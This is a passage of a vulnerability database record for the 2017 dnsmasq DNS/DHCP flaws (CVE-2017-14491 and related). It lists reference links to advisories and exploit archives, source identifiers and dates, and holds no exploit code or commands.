db: | ICS CERT | id: | ICSA-17-332-01 | Trust: 0.3 |
db: | BID | id: | 101085 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2017-14491 | Trust: 1.5 |
url: | https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/cve-2017-14491.py | Trust: 1.0 |
url: | https://www.exploit-db.com/exploits/42941/ | Trust: 0.6 |
url: | https://0day.today/exploits/28724 | Trust: 0.6 |
url: | https://0day.today/exploits/28727 | Trust: 0.6 |
url: | https://0day.today/exploits/28726 | Trust: 0.6 |
url: | https://0day.today/exploits/28725 | Trust: 0.6 |
url: | https://0day.today/exploits/28723 | Trust: 0.6 |
url: | https://nvd.nist.gov/vuln/detail/cve-2017-14495 | Trust: 0.5 |
url: | https://nvd.nist.gov/vuln/detail/cve-2017-14493 | Trust: 0.5 |
url: | https://nvd.nist.gov/vuln/detail/cve-2017-14496 | Trust: 0.5 |
url: | https://nvd.nist.gov/vuln/detail/cve-2017-14494 | Trust: 0.5 |
url: | https://nvd.nist.gov/vuln/detail/cve-2017-14492 | Trust: 0.5 |
url: | https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14492.py | Trust: 0.3 |
url: | https://access.redhat.com/security/cve/cve-2017-14495 | Trust: 0.3 |
url: | https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14494.py | Trust: 0.3 |
url: | https://access.redhat.com/errata/rhsa-2017:2836 | Trust: 0.3 |
url: | https://access.redhat.com/security/cve/cve-2017-14491 | Trust: 0.3 |
url: | https://source.android.com/security/bulletin/2017-10-01 | Trust: 0.3 |
url: | https://ics-cert.us-cert.gov/advisories/icsa-17-332-01 | Trust: 0.3 |
url: | https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html | Trust: 0.3 |
url: | https://bugzilla.redhat.com/show_bug.cgi?id=1495411 | Trust: 0.3 |
url: | https://bugzilla.redhat.com/show_bug.cgi?id=1495510 | Trust: 0.3 |
url: | https://access.redhat.com/security/cve/cve-2017-14494 | Trust: 0.3 |
url: | https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14496.py | Trust: 0.3 |
url: | https://bugzilla.redhat.com/show_bug.cgi?id=1495409 bug 1495409 | Trust: 0.3 |
url: | http://www.kb.cert.org/vuls/id/973527 | Trust: 0.3 |
url: | https://bugzilla.redhat.com/show_bug.cgi?id=1495410 | Trust: 0.3 |
url: | https://www.debian.org/security/2017/dsa-3989 | Trust: 0.3 |
url: | https://access.redhat.com/security/cve/cve-2017-13704 | Trust: 0.3 |
url: | https://access.redhat.com/security/cve/cve-2017-14492 | Trust: 0.3 |
url: | https://bugzilla.redhat.com/show_bug.cgi?id=1495416 | Trust: 0.3 |
url: | https://access.redhat.com/security/cve/cve-2017-14496 | Trust: 0.3 |
url: | https://bugzilla.redhat.com/show_bug.cgi?id=1495415 | Trust: 0.3 |
url: | http://www.slackware.com/security/viewer.php?l=slackware-security&y=2017&m=slackware-security.601472 | Trust: 0.3 |
url: | https://access.redhat.com/security/cve/cve-2017-14493 | Trust: 0.3 |
url: | https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14493.py | Trust: 0.3 |
url: | https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14491.py | Trust: 0.3 |
url: | http://www.thekelleys.org.uk/dnsmasq/doc.html | Trust: 0.3 |
url: | https://bugzilla.redhat.com/show_bug.cgi?id=1495412 | Trust: 0.3 |
url: | https://access.redhat.com/errata/rhsa-2017:2837 | Trust: 0.3 |
url: | http://www.thekelleys.org.uk/dnsmasq/changelog | Trust: 0.3 |
url: | https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14495.py | Trust: 0.3 |
url: | https://github.com/kubernetes/kubernetes/blob/master/changelog.md | Trust: 0.3 |
SOURCES
db: | BID | id: | 101085 |
db: | PACKETSTORM | id: | 144468 |
db: | PACKETSTORM | id: | 144473 |
db: | PACKETSTORM | id: | 144462 |
db: | PACKETSTORM | id: | 144471 |
db: | PACKETSTORM | id: | 144480 |
db: | PACKETSTORM | id: | 144479 |
db: | EXPLOIT-DB | id: | 42941 |
db: | EDBNET | id: | 94395 |
db: | EDBNET | id: | 94654 |
db: | EDBNET | id: | 94657 |
db: | EDBNET | id: | 94656 |
db: | EDBNET | id: | 94655 |
db: | EDBNET | id: | 94653 |
LAST UPDATE DATE
2024-03-21T15:11:49.684000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 101085 | date: | 2017-10-02T00:00:00 |
SOURCES RELEASE DATE
db: | BID | id: | 101085 | date: | 2017-10-02T00:00:00 |
db: | PACKETSTORM | id: | 144468 | date: | 2017-10-02T05:22:22 |
db: | PACKETSTORM | id: | 144473 | date: | 2017-10-02T10:01:11 |
db: | PACKETSTORM | id: | 144462 | date: | 2017-10-02T03:33:33 |
db: | PACKETSTORM | id: | 144471 | date: | 2017-10-02T08:32:22 |
db: | PACKETSTORM | id: | 144480 | date: | 2017-10-02T16:22:22 |
db: | PACKETSTORM | id: | 144479 | date: | 2017-10-02T14:44:44 |
db: | EXPLOIT-DB | id: | 42941 | date: | 2017-10-02T00:00:00 |
db: | EDBNET | id: | 94395 | date: | 2017-10-02T00:00:00 |
db: | EDBNET | id: | 94654 | date: | 2017-10-13T00:00:00 |
db: | EDBNET | id: | 94657 | date: | 2017-10-13T00:00:00 |
db: | EDBNET | id: | 94656 | date: | 2017-10-13T00:00:00 |
db: | EDBNET | id: | 94655 | date: | 2017-10-13T00:00:00 |
db: | EDBNET | id: | 94653 | date: | 2017-10-13T00:00:00 |